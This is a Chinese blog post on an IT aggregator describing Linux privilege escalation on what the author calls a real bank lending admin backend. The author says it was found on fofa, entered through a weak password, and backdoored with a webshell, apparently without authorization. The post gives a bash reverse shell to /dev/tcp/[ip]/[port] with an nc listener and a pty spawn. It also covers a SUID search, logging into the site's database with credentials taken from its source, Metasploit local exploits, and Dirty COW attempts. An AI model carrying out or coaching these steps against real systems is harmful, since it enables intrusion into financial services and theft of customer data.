IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> Linux提权实战详解 -> 正文阅读

[系统运维]Linux提权实战详解

	好久没在csdn上出文章了,最近做公众号文章比较多,大多
数文章也是在公众号上首发,有时候闲的蛋疼也会把一些文章
搬到csdn上来,想学渗透测试的小伙伴可以关注一下团队公众
号:洞安之道,这个公众号也是刚成立不久,里面大多数文章
都是用实战做演示,毕竟渗透测试如果离开了实战那就多少显
得有点不专业了,废话不多说了,我是一个只做实战的博主。
              ID:GalaXY

主机介绍

这台机子也是远古时代拿的,今天打开蚁剑突然发现了一台当时只拿下webshell的机子,还没来得及处理那边的服务器就嗝屁了,当时还是一阵心酸,没想到今天又上线了,这得好好搞搞他了。

在这里插入图片描述
先介绍下这台机子吧,当时是闲逛fofa时找到的一个银行借贷后台管理,没想到一发弱口令直接进去了,进去之后也是在头像框上发现了一个上传点。
在这里插入图片描述

详情

上传点有js限制,用bp直接改包绕过就不赘述了。
Linux主机没杀软限制,而且服务器在云上也没有外加的waf流量监测啥的。
今天也主要是拿实战介绍下Linux主机提权的一些基本操作。
Linux提权的重点在两个:1.suid,用户使用的文件在运行时具有创建者拥有的权限。2.系统漏洞。
首先登陆后第一件事看一下自己的权限

命令:id

标准的webshell权限并没有什么意外收获
查看内核版本

命令:uname -a

在这里插入图片描述

2.6.32首先想到的是通杀脏牛,而且这个版本系统漏洞也不少。
查看suid是否有漏网之鱼。
Find / -perm -u=s -type f 2>/dev/null
这边首先做个反弹shell然后构造个tty吧,没有tty可能一些交互和结果会有问题。
Linux的反弹shell

命令:bash -i >&/dev/tcp/[ip]/[port] 0>&1

并且在本主机监听port

命令:nc -lvv port

在这里插入图片描述

然后可以看到连接成功。
在这里插入图片描述

拿到反弹shell后构造tty终端窗口,因为有些东西必须得是终端窗口实现,比如说是su登录之类的用户需要输入的。

命令:python -c ‘import pty;pty.spawn(“/bin/bash”)

在这里插入图片描述

可以看到连接成功。
执行find命令
在这里插入图片描述

唉,没有能解析代码的命令。
查看一下源码数据库看看有什么好东西。
在这里插入图片描述

Ctrl+f在php中全局搜索database找到了这边连接后台的数据库账号密码,远程连接下

命令:Mysql -h ip -l port -P password -u username

连接成功后show table这个数据库也算是比较大的,大概一百多张,关于账号密码的数据在这个数据库中也没有记录。
回到shell中继续看看有什么有用信息吧,列出本主机的计划任务,看看能不能找点path劫持,或者是别的漏吧。

命令:ls -l /etc/cron*

在这里插入图片描述

没有以root运行的脚本,这边系统配置的漏看了看基本也没了。
上个linux 配置检测脚本再检查下
在这里插入图片描述

检测后也是没有配置相关的问题了。
其实直接上系统漏基本可以秒了,但是要出个文章,哎我就是玩,我就不拿系统漏打。
上msf生成elf的payload,上webshell 执行返回session。
再msf上搜索下Linux本地提权exp

Search linux/local

在这里插入图片描述

五十来个,边跟妹子聊天边跑脚本吧
在这里插入图片描述

Msf看来还是不适合做linux的提权啊。
直接上脏牛系统漏吧,本来我以为简简单单的通杀就搞定了,没想到最后执行完并没有提到root。
在这里插入图片描述

脏牛利用的是系统内资源的竞争,从而把系统处理的页数据写入到指定的文件里,所以会慢一些,但是最后给我报了成功,当然也是意料之中。然后我直接登录创建的firefart用户,哎,用户不存在。
在这里插入图片描述

我一度以为是我当时眼睛瞎了输错了,但是仔细检查没错啊。
查看passwd文件

命令:cat /etc/passwd

在这里插入图片描述

又执行了一遍这个脚本,最后发现结果还是一样。。。
这我得看看这脚本了妈的。
直接查看c的源码
在这里插入图片描述

要输出控制台必须得是print,直接找print,在差不多最后几行找到了,妈的
在这里插入图片描述

没有if判断直接输出,这脚本写的。。。他好像最后也没说成没成,先让我检查下。。。可能是我理解有问题,奶奶的,用户体验极差。
直接上内核漏洞检测脚本跑下,再找别的漏吧
请添加图片描述

脚本直接跑出了二十几个系统漏,最后一个一个试吧。
到这里基本提权思路就完了,Linux提权无非几个配置问题,还有系统漏,基本脏牛可以通杀2版本到4版本直接的内核了,但是脏牛对这个没成功也是没什么办法,毕竟漏洞这事儿还是得靠运气。

最后最后,公众号名字叫洞安之道hxd们别忘了关注一手

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-07-23 11:14:16  更:2021-07-23 11:14:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/4 11:58:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码